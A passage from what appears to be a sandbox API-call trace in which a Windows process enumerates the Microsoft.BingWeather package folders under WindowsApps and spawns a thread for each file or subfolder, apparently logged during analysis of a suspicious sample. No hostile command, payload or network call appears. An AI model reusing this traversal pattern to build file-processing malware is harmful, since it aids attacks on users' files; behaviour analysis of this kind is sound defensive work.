	[0076.783] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_~_8wekyb3d8bbwe\\*", lpFindFileData=0x2dc2148 | out: lpFindFileData=0x2dc2148*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2cdd5a7d, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb7a270e5, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xb7a270e5, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dad5f8
	[0078.810] wcscmp (_String1=".", _String2=".") returned 0
	[0078.810] FindNextFileW (in: hFindFile=0x2dad5f8, lpFindFileData=0x2dc2148 | out: lpFindFileData=0x2dc2148*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2cdd5a7d, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb7a270e5, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xb7a270e5, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0078.811] wcscmp (_String1="..", _String2=".") returned 1
	[0078.811] wcscmp (_String1="..", _String2="..") returned 0
	[0078.811] FindNextFileW (in: hFindFile=0x2dad5f8, lpFindFileData=0x2dc2148 | out: lpFindFileData=0x2dc2148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ce6e3c6, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x2ce6e3c6, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x2ce6e3c6, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x154, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBlockMap.xml", cAlternateFileName="")) returned 1
	[0078.811] wcscmp (_String1="AppxBlockMap.xml", _String2=".") returned 1
	[0078.811] wcscmp (_String1="AppxBlockMap.xml", _String2="..") returned 1
	[0078.811] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xcc) returned 0x477cbf0
	[0078.811] wcscpy (in: _Dest=0x477cbf0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_~_8wekyb3d8bbwe"
	[0078.811] wcscat (in: _Dest=0x477cbf0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_~_8wekyb3d8bbwe\\"
	[0078.811] wcscat (in: _Dest=0x477cbf0, _Source="AppxBlockMap.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml"
	[0078.830] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x477cbf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xde8
	[0078.831] FindNextFileW (in: hFindFile=0x2dad5f8, lpFindFileData=0x2dc2148 | out: lpFindFileData=0x2dc2148*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2cdd5a7d, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaa935760, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2cdd5a7d, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxMetadata", cAlternateFileName="APPXME~1")) returned 1
	[0078.831] wcscmp (_String1="AppxMetadata", _String2=".") returned 1
	[0078.831] wcscmp (_String1="AppxMetadata", _String2="..") returned 1
	[0078.831] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc4) returned 0x47e99e0
	[0078.831] wcscpy (in: _Dest=0x47e99e0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_~_8wekyb3d8bbwe"
	[0078.831] wcscat (in: _Dest=0x47e99e0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_~_8wekyb3d8bbwe\\"
	[0078.831] wcscat (in: _Dest=0x47e99e0, _Source="AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata"
	[0078.831] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x47e99e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdec
	[0078.854] FindNextFileW (in: hFindFile=0x2dad5f8, lpFindFileData=0x2dc2148 | out: lpFindFileData=0x2dc2148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ce6e3c6, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x2ce94624, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x2ce94624, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2980, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0078.854] wcscmp (_String1="AppxSignature.p7x", _String2=".") returned 1
	[0078.854] wcscmp (_String1="AppxSignature.p7x", _String2="..") returned 1
	[0078.854] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xce) returned 0x477ccc8
	[0078.854] wcscpy (in: _Dest=0x477ccc8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_~_8wekyb3d8bbwe"
	[0078.854] wcscat (in: _Dest=0x477ccc8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_~_8wekyb3d8bbwe\\"
	[0078.854] wcscat (in: _Dest=0x477ccc8, _Source="AppxSignature.p7x" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x"
	[0078.854] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x477ccc8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdf0
	[0078.855] FindNextFileW (in: hFindFile=0x2dad5f8, lpFindFileData=0x2dc2148 | out: lpFindFileData=0x2dc2148*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xb7a270e5, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xb7a270e5, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xb7a270e5, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1
	[0078.855] wcscmp (_String1="microsoft.system.package.metadata", _String2=".") returned 1
	[0078.855] wcscmp (_String1="microsoft.system.package.metadata", _String2="..") returned 1
	[0078.855] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xee) returned 0x47519a8
	[0078.855] wcscpy (in: _Dest=0x47519a8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_~_8wekyb3d8bbwe"
	[0078.855] wcscat (in: _Dest=0x47519a8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_~_8wekyb3d8bbwe\\"
	[0078.855] wcscat (in: _Dest=0x47519a8, _Source="microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0078.855] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x47519a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdf4
	[0078.856] FindNextFileW (in: hFindFile=0x2dad5f8, lpFindFileData=0x2dc2148 | out: lpFindFileData=0x2dc2148*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xb7a270e5, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xb7a270e5, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xb7a270e5, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 0
	[0078.856] FindClose (in: hFindFile=0x2dad5f8 | out: hFindFile=0x2dad5f8) returned 1
	[0078.857] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dc2148) returned 1
	[0078.857] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7d900) returned 1
	[0078.857] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7dd50) returned 1

Thread:
	id = 260
	os_tid = 0x8d4

	[0076.783] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa4) returned 0x2d61b00
	[0076.783] wcscpy (in: _Dest=0x2d61b00, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe"
	[0076.783] wcscat (in: _Dest=0x2d61b00, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\"
	[0076.784] wcscat (in: _Dest=0x2d61b00, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\*"
	[0076.784] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2dc23b0
	[0076.784] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\*", lpFindFileData=0x2dc23b0 | out: lpFindFileData=0x2dc23b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2ceba882, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb7a270e5, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xb7a270e5, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dad4f8
	[0078.772] wcscmp (_String1=".", _String2=".") returned 0
	[0078.772] FindNextFileW (in: hFindFile=0x2dad4f8, lpFindFileData=0x2dc23b0 | out: lpFindFileData=0x2dc23b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2ceba882, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb7a270e5, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xb7a270e5, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0078.772] wcscmp (_String1="..", _String2=".") returned 1
	[0078.772] wcscmp (_String1="..", _String2="..") returned 0
	[0078.772] FindNextFileW (in: hFindFile=0x2dad4f8, lpFindFileData=0x2dc23b0 | out: lpFindFileData=0x2dc23b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2cf531ec, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x2cf79445, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x2cf79445, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xe446, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBlockMap.xml", cAlternateFileName="")) returned 1
	[0078.772] wcscmp (_String1="AppxBlockMap.xml", _String2=".") returned 1
	[0078.772] wcscmp (_String1="AppxBlockMap.xml", _String2="..") returned 1
	[0078.772] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc2) returned 0x47e8ce0
	[0078.772] wcscpy (in: _Dest=0x47e8ce0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe"
	[0078.772] wcscat (in: _Dest=0x47e8ce0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\"
	[0078.772] wcscat (in: _Dest=0x47e8ce0, _Source="AppxBlockMap.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml"
	[0078.953] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47e8ce0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x888
	[0078.954] FindNextFileW (in: hFindFile=0x2dad4f8, lpFindFileData=0x2dc23b0 | out: lpFindFileData=0x2dc23b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2cf2cf8e, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x2cf531ec, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x2cf531ec, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x26ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxManifest.xml", cAlternateFileName="")) returned 1
	[0078.954] wcscmp (_String1="AppxManifest.xml", _String2=".") returned 1
	[0078.954] wcscmp (_String1="AppxManifest.xml", _String2="..") returned 1
	[0078.954] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc2) returned 0x47e88d0
	[0078.954] wcscpy (in: _Dest=0x47e88d0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe"
	[0078.954] wcscat (in: _Dest=0x47e88d0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\"
	[0078.954] wcscat (in: _Dest=0x47e88d0, _Source="AppxManifest.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\AppxManifest.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\AppxManifest.xml"
	[0078.954] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47e88d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf10
	[0078.954] FindNextFileW (in: hFindFile=0x2dad4f8, lpFindFileData=0x2dc23b0 | out: lpFindFileData=0x2dc23b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2d0fdc78, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaa936cde, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2d0fdc78, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxMetadata", cAlternateFileName="APPXME~1")) returned 1
	[0078.954] wcscmp (_String1="AppxMetadata", _String2=".") returned 1
	[0078.954] wcscmp (_String1="AppxMetadata", _String2="..") returned 1
	[0078.954] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xba) returned 0x476fa60
	[0078.955] wcscpy (in: _Dest=0x476fa60, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe"
	[0078.955] wcscat (in: _Dest=0x476fa60, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\"
	[0078.955] wcscat (in: _Dest=0x476fa60, _Source="AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\AppxMetadata"
	[0078.955] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x476fa60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf14
	[0078.955] FindNextFileW (in: hFindFile=0x2dad4f8, lpFindFileData=0x2dc23b0 | out: lpFindFileData=0x2dc23b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d0844c4, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x2d0d79eb, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x2d0d79eb, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x29a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0078.955] wcscmp (_String1="AppxSignature.p7x", _String2=".") returned 1
	[0078.955] wcscmp (_String1="AppxSignature.p7x", _String2="..") returned 1
	[0078.955] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc4) returned 0x47e8b40
	[0078.955] wcscpy (in: _Dest=0x47e8b40, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe"
	[0078.955] wcscat (in: _Dest=0x47e8b40, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\"
	[0078.955] wcscat (in: _Dest=0x47e8b40, _Source="AppxSignature.p7x" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x"
	[0078.955] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47e8b40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf18
	[0078.956] FindNextFileW (in: hFindFile=0x2dad4f8, lpFindFileData=0x2dc23b0 | out: lpFindFileData=0x2dc23b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2d1bc83f, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaa937267, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2db7c876, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Assets", cAlternateFileName="")) returned 1
	[0078.956] wcscmp (_String1="Assets", _String2=".") returned 1
	[0078.956] wcscmp (_String1="Assets", _String2="..") returned 1
	[0078.956] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xae) returned 0x2ddc5c0
	[0078.956] wcscpy (in: _Dest=0x2ddc5c0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe"
	[0078.956] wcscat (in: _Dest=0x2ddc5c0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\"
	[0078.956] wcscat (in: _Dest=0x2ddc5c0, _Source="Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets"
	[0078.956] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2ddc5c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf1c
	[0078.957] FindNextFileW (in: hFindFile=0x2dad4f8, lpFindFileData=0x2dc23b0 | out: lpFindFileData=0x2dc23b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2dbabacb, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x2dbabacb, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x2dbabacb, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xff58, dwReserved0=0x0, dwReserved1=0x0, cFileName="ClrCompression.dll", cAlternateFileName="")) returned 1
	[0078.957] wcscmp (_String1="ClrCompression.dll", _String2=".") returned 1
	[0078.957] wcscmp (_String1="ClrCompression.dll", _String2="..") returned 1
	[0078.957] FindNextFileW (in: hFindFile=0x2dad4f8, lpFindFileData=0x2dc23b0 | out: lpFindFileData=0x2dc23b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2dbabacb, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaad79c2f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2dbabacb, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Configuration", cAlternateFileName="CONFIG~1")) returned 1
	[0078.957] wcscmp (_String1="Configuration", _String2=".") returned 1
	[0078.957] wcscmp (_String1="Configuration", _String2="..") returned 1
	[0078.957] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbc) returned 0x476ff10
	[0078.957] wcscpy (in: _Dest=0x476ff10, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe"
	[0078.957] wcscat (in: _Dest=0x476ff10, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\"
	[0078.957] wcscat (in: _Dest=0x476ff10, _Source="Configuration" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Configuration") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Configuration"
	[0078.957] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x476ff10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf20
	[0078.958] FindNextFileW (in: hFindFile=0x2dad4f8, lpFindFileData=0x2dc23b0 | out: lpFindFileData=0x2dc23b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2dbabacb, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaad7a6fb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2dbabacb, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Images", cAlternateFileName="")) returned 1
	[0078.958] wcscmp (_String1="Images", _String2=".") returned 1
	[0078.958] wcscmp (_String1="Images", _String2="..") returned 1
	[0078.958] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xae) returned 0x2d7d620
